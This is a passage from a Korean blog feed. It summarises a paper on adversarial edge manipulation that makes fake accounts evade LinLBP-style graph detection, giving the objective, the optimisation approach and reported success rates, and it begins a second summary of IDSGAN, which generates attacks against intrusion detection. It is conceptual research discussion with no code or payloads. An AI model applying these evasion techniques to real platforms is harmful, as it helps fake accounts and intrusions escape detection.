&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면, 아래 [그림 1]과 같이 해당 노드에 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;prior score&lt;/b&gt;&lt;/span&gt;를 할당해준다. 일반적으로 theta 값은 0.5를 많이 할당하므로, 위의 예시에 따르게 되면, 확실히 알고있는 정상 노드에는 +0.5점을, 그리고 확실히 알고있는 허위 노드에는 -0.5점을, 나머지 대부분의 노드에는 0점을 부여하게 되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cg4Z5i/btsEqxKUcxF/jvLniiwKsWePnopXuwKvy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cg4Z5i/btsEqxKUcxF/jvLniiwKsWePnopXuwKvy0/img.png&quot; data-alt=&quot;[그림 1] Prior score assignment&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cg4Z5i/btsEqxKUcxF/jvLniiwKsWePnopXuwKvy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcg4Z5i%2FbtsEqxKUcxF%2FjvLniiwKsWePnopXuwKvy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;323&quot; height=&quot;160&quot; data-origin-width=&quot;538&quot; data-origin-height=&quot;266&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] Prior score assignment&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 부여한 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;prior score&lt;/b&gt;&lt;/span&gt; 를 기반으로 propagation을 진행한다. 아래 [그림 2] 와 같이 propagation을 진행하게 되는데, 저기서 q가 앞서 할당한 prior score 벡터이고, A가 그래프의 연결관계를 나타내는 adjacency matrix, W는 그냥 가중치 matrix인데 무시해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;509&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgSaQI/btsEmqM7AOM/9zdm7NFBNOqZFaXq2nRBOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgSaQI/btsEmqM7AOM/9zdm7NFBNOqZFaXq2nRBOk/img.png&quot; data-alt=&quot;[그림 2] Posterior score computation&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgSaQI/btsEmqM7AOM/9zdm7NFBNOqZFaXq2nRBOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgSaQI%2FbtsEmqM7AOM%2F9zdm7NFBNOqZFaXq2nRBOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;345&quot; height=&quot;67&quot; data-origin-width=&quot;509&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] Posterior score computation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수식은 복잡해보이지만, 결국 부여한 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;prior score&lt;/b&gt;&lt;/span&gt; 를 인접한 노드들이 나눠먹는 형식으로 돌아가게 된다. 예를들면, 확실히 알고있는 허위 노드 근처에 있는 노드들은 높은 양(+)의 점수를 얻게 되고, 정상 노드 근처에 있는 노드들은 낮은 음(-)의 점수를 얻게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 propagation을 여러번 반복하게 되고, 최종적으로 얻는 점수가 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;posterior score&lt;/b&gt;&lt;/span&gt; 이며, 이 값이 양수이면 최종적으로 허위노드, 음수이면 최종적으로 정상노드로 판단하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 collective classification 방식들도 기본적으로 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;1) prior score&lt;/b&gt;&lt;/span&gt; 계산, &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;2) posterior score&lt;/b&gt;&lt;/span&gt; 계산 두 단계를 거친다. 이러한 collective classification 방식들이 유용한 이유는 기본적으로 허위 계정은 허위계정끼리, 정상 계정은 정상계정끼리 연결관계를 가진다는 가정에서 출발한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. Attack Design&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 지금부터 본격적으로 이 논문에서 어떻게 LinLBP 방식을 대상으로 공격했는지 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, 공격자의 목표는 그래프에서 일부 노드의 classification 결과를 positive(허위계정) 에서 negative(정상계정)으로 바꾸는 것이다. 이렇게 함으로써 공격자는 방어자의 방어를 우회할 수 있다. 여기서 공격자가 목표로 삼는 노드를 &lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;target nodes&lt;/b&gt;&lt;/span&gt;라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 공격자의 목표를 수식으로 나타내보면, 아래 [그림 3]과 같다. (참고로 v를 target nodes로 나타낸다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ecXZmJ/btsEkx60C16/fWMIP7eimjcmm1iOTsKg4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ecXZmJ/btsEkx60C16/fWMIP7eimjcmm1iOTsKg4k/img.png&quot; data-alt=&quot;[그림 3] Attacker's objective function&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ecXZmJ/btsEkx60C16/fWMIP7eimjcmm1iOTsKg4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FecXZmJ%2FbtsEkx60C16%2FfWMIP7eimjcmm1iOTsKg4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;460&quot; height=&quot;273&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] Attacker's objective function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 C 행렬은 임의의 노드 u, v 사이의 edge 를 조작할 때 드는 cost 이고, B 행렬은 original graph와 manipulate 하려는 graph 사이의 변화를 나타낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어, original graph에서 노드 u와 v 사이에 엣지가 존재하고 B_u,v 의 값이 1이라면, 공격자는 해당 엣지를 제거하려고 한다. 반대로 original graph에서 노드 u와 v 사이에 엣지가 존재하지 않고 B_u,v 의 값이 1이라면, 공격자는 해당 엣지를 새로 연결하려고 하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 행렬 B와 C를 element-wise 곱하게 되면, 공격하는데 드는 총 cost 를 나타내고, 공격자는 이를 최소화 하려고 하므로 objective function에서 min 을 적용한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로, 공격이 성공하려면 &lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;target nodes&lt;/b&gt;&lt;/span&gt;들에 대해서 positive -&amp;gt; negative 로 변해야 하므로, FNR = 1이라는 제한조건 이 붙는다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로, 공격자는&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt; target node&lt;/b&gt;&lt;/span&gt;당 공격에 필요한 edge 조작개수를 K로 제한시켰고, 이를 마지막 제한조건으로 붙여놓았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 3]의 수식에서 볼 수 있듯이 여러가지 제한 조건이 있으므로, 해당 수식을 바로 푸는 것은 불가능하다. 따라서 [그림 3]의 수식을 [그림 4]의 수식으로 풀어쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r7RNy/btsEmKR7kx3/wv6pdF8jLjwD9nB0HzZrYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r7RNy/btsEmKR7kx3/wv6pdF8jLjwD9nB0HzZrYK/img.png&quot; data-alt=&quot;[그림 4] Attacker's objective function2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r7RNy/btsEmKR7kx3/wv6pdF8jLjwD9nB0HzZrYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr7RNy%2FbtsEmKR7kx3%2Fwv6pdF8jLjwD9nB0HzZrYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;207&quot; data-origin-width=&quot;569&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] Attacker's objective function2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 함으로써 FNR=1 의 제한조건을 주번째 항에 lagrangian multiplier 를 추가하여 붙여주었고, collective classification 의 propagation에 활용되는 iteration을 변수 t를 활용하여 나타낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체적으로 [그림 4]의 수식을 해석해보면, 공격자는 공격에 필요한 총 cost 를 최소화하려고 하고 (첫번째 항) 동시에 공격 성공률을 최대로 높히려고 한다 (두번째 항).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 만약 lambda의 값이 커지만, 공격성공률에 집중을 하게 되므로 공격에 필요한 총 cost가 늘어나고, lambda 의 값이 작아지만, 공격에 필요한 총 cost는 최소화되지만, 공격 성공률은 조금 낮아지게 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 해당 [그림 4]의 수식을 PGD 기반의 공격으로 풀어내면 최종적으로 그래프 구조의 변화를 나타내는 B 행렬을 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 자세한 풀이는 논문을 참조하길 바란다..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4. Evaluation&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzzaI4/btsEn07S16S/kGNNOn60cf7Llao4vpdXf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzzaI4/btsEn07S16S/kGNNOn60cf7Llao4vpdXf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzzaI4/btsEn07S16S/kGNNOn60cf7Llao4vpdXf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzzaI4%2FbtsEn07S16S%2FkGNNOn60cf7Llao4vpdXf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;174&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 해당 공격이 실제로 통하는지 알아보자. 저자들은 [그림 5]와 같이 총 4개의 데이터셋에 대해서 공격을 수행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2283&quot; data-origin-height=&quot;1027&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ApTY0/btsEkzRjuIF/vtIcJ6WGM8JQyiSL5Nin1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ApTY0/btsEkzRjuIF/vtIcJ6WGM8JQyiSL5Nin1k/img.png&quot; data-alt=&quot;[그림 6] Attack Result&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ApTY0/btsEkzRjuIF/vtIcJ6WGM8JQyiSL5Nin1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FApTY0%2FbtsEkzRjuIF%2FvtIcJ6WGM8JQyiSL5Nin1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2283&quot; height=&quot;1027&quot; data-origin-width=&quot;2283&quot; data-origin-height=&quot;1027&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 6] Attack Result&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 결과는 [그림 6]과 같다. 표에 있는 RAND, CC, CLOSE 는 &lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;target node&lt;/b&gt;&lt;/span&gt;를 선택하는 방법이고, Equal, Uniform, Categorical은 cost matrix에 값을 할당시키는 방법을 의미한다. (그닥 중요한건 아니므로 설명하지 않고 넘어가겠다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체적인 공격 성공률을 보면 (FNR column), 대부분의 경우에서 공격 성공률 90% 내외를 달성하였고, 유일하게 Facebook dataset에서 RAND 일 경우에만 공격성공률이 60%대를 나타내었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 실제로 앞서 소개한 공격이 효과적이었음을 나타낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 한가지 특징은 # Add / # Del column에서 볼 수 있듯이, 공격자는 대부분 공격할 때 엣지를 추가하는 경향이 있고, 공격에 엣지를 제거하는 경향은 비교적 낮다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 Intro에서 설명했듯이 graph classification에는 1) collective classification과 2) GNN 방식이 있다. 지금까지 설명한 공격은 collective classification을 가정하고 한 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 과정에서 optimization problem을 풀 떄, GNN을 대상으로 풀면 너무 연산이 복잡해 거의 불가능하므로, 저자들은 우선 collective classification 을 대상으로 한 공격된 그래프를 가지고 GNN으로 classification을 적용하는, 일명 transfer attack을 수행해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;993&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oSXmK/btsEqV55Gxo/GFr1zFQsnYqIFcKP5b5ewk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oSXmK/btsEqV55Gxo/GFr1zFQsnYqIFcKP5b5ewk/img.png&quot; data-alt=&quot;[그림 7] Attack Transferability&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oSXmK/btsEqV55Gxo/GFr1zFQsnYqIFcKP5b5ewk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoSXmK%2FbtsEqV55Gxo%2FGFr1zFQsnYqIFcKP5b5ewk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;635&quot; height=&quot;592&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;993&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 7] Attack Transferability&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 결과 [그림 7]에서 볼 수 있듯이 GCN을 포함한 다양한 GNN classification 모델에서 대부분 50%를 넘는 비교적 높은 공격 성공률을 보인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게다가, [그림 8]에서 볼 수 있듯이 대표적인 GNN 대상 공격인 Nettack에 비해서도 높은 공격 성공률과, 압도적으로 짧은 공격 시간을 달성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/539UL/btsElkzzsNR/S9L1V3gALJ4pyuFeGX0up0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/539UL/btsElkzzsNR/S9L1V3gALJ4pyuFeGX0up0/img.png&quot; data-alt=&quot;[그림 8] Comparing with Nettack&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/539UL/btsElkzzsNR/S9L1V3gALJ4pyuFeGX0up0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F539UL%2FbtsElkzzsNR%2FS9L1V3gALJ4pyuFeGX0up0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;131&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 8] Comparing with Nettack&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5. 마치며&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;논문에서는 오늘 내가 소개한 내용보다 훨씬 많은 내용들이 들어있다. 개인적으로 좋아하는 연구자들이고, 좋아하는 논문이라서 다들 꼭 읽어보는걸 추천한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>논문</category>
      <category>adversarial attack</category>
      <category>collective classification</category>
      <category>graph</category>
      <category>Graph Neural Network</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/128</guid>
      <comments>https://ddongwon.tistory.com/128#entry128comment</comments>
      <pubDate>Mon, 5 Feb 2024 04:02:45 +0900</pubDate>
    </item>
    <item>
      <title>[논문] IDSGAN: Generative Adversarial Networks for Attack Generation against Intrusion Detection</title>
      <link>https://ddongwon.tistory.com/127</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;논문 제목 : IDSGAN:&amp;nbsp;Generative&amp;nbsp;Adversarial&amp;nbsp;Networks&amp;nbsp;for&amp;nbsp;Attack&amp;nbsp;Generation&amp;nbsp;against&amp;nbsp;Intrusion&amp;nbsp;Detection&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0.&amp;nbsp;abstract&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;IDS는 네트워크 공격에 사용되는 malicious packet를 탐지하고 이를 차단함으로써 보안을 지켜주는 도구이다. 최근에는 ML의 도움에 힘입어 빠르게 그 성능이 증가하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만&amp;nbsp;ML&amp;nbsp;모델을&amp;nbsp;공격하는&amp;nbsp;adversarial&amp;nbsp;attacks에&amp;nbsp;의해&amp;nbsp;모델의&amp;nbsp;robustness가&amp;nbsp;손상될&amp;nbsp;수&amp;nbsp;있다. &lt;br /&gt;본 연구에서는 GAN을 활용하여 adversarial attaks에 대비하도록 함으로써 IDS 를 보다 강력하게 만드는 프레임워크 IDSGAN을 제안한다. detection system의 내부 구조는 밝혀지지 않은 black-box attack 상황이라 가정하고 연구를 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;NSL-KDD&amp;nbsp;데이터셋을&amp;nbsp;통해&amp;nbsp;IDSGAN의&amp;nbsp;성능을&amp;nbsp;보였으며,&amp;nbsp;modified&amp;nbsp;되는&amp;nbsp;features를&amp;nbsp;바꿔가면서&amp;nbsp;IDSGAN의&amp;nbsp;robustness를&amp;nbsp;보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1.&amp;nbsp;Introduction&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;최근&amp;nbsp;IDS(Intrusion&amp;nbsp;Detection&amp;nbsp;System)&amp;nbsp;들은&amp;nbsp;얻은&amp;nbsp;network&amp;nbsp;traffic에서&amp;nbsp;feature들을&amp;nbsp;추출한&amp;nbsp;뒤&amp;nbsp;ML&amp;nbsp;모델을&amp;nbsp;사용하여&amp;nbsp;탐지하는&amp;nbsp;방향으로&amp;nbsp;발전해나가고&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;보다&amp;nbsp;더&amp;nbsp;정확하고&amp;nbsp;좋은&amp;nbsp;성능을&amp;nbsp;내기&amp;nbsp;위해서&amp;nbsp;IDS에&amp;nbsp;사용되는&amp;nbsp;ML&amp;nbsp;모델들도&amp;nbsp;다양하고&amp;nbsp;정교화&amp;nbsp;되어가고&amp;nbsp;있다. &lt;br 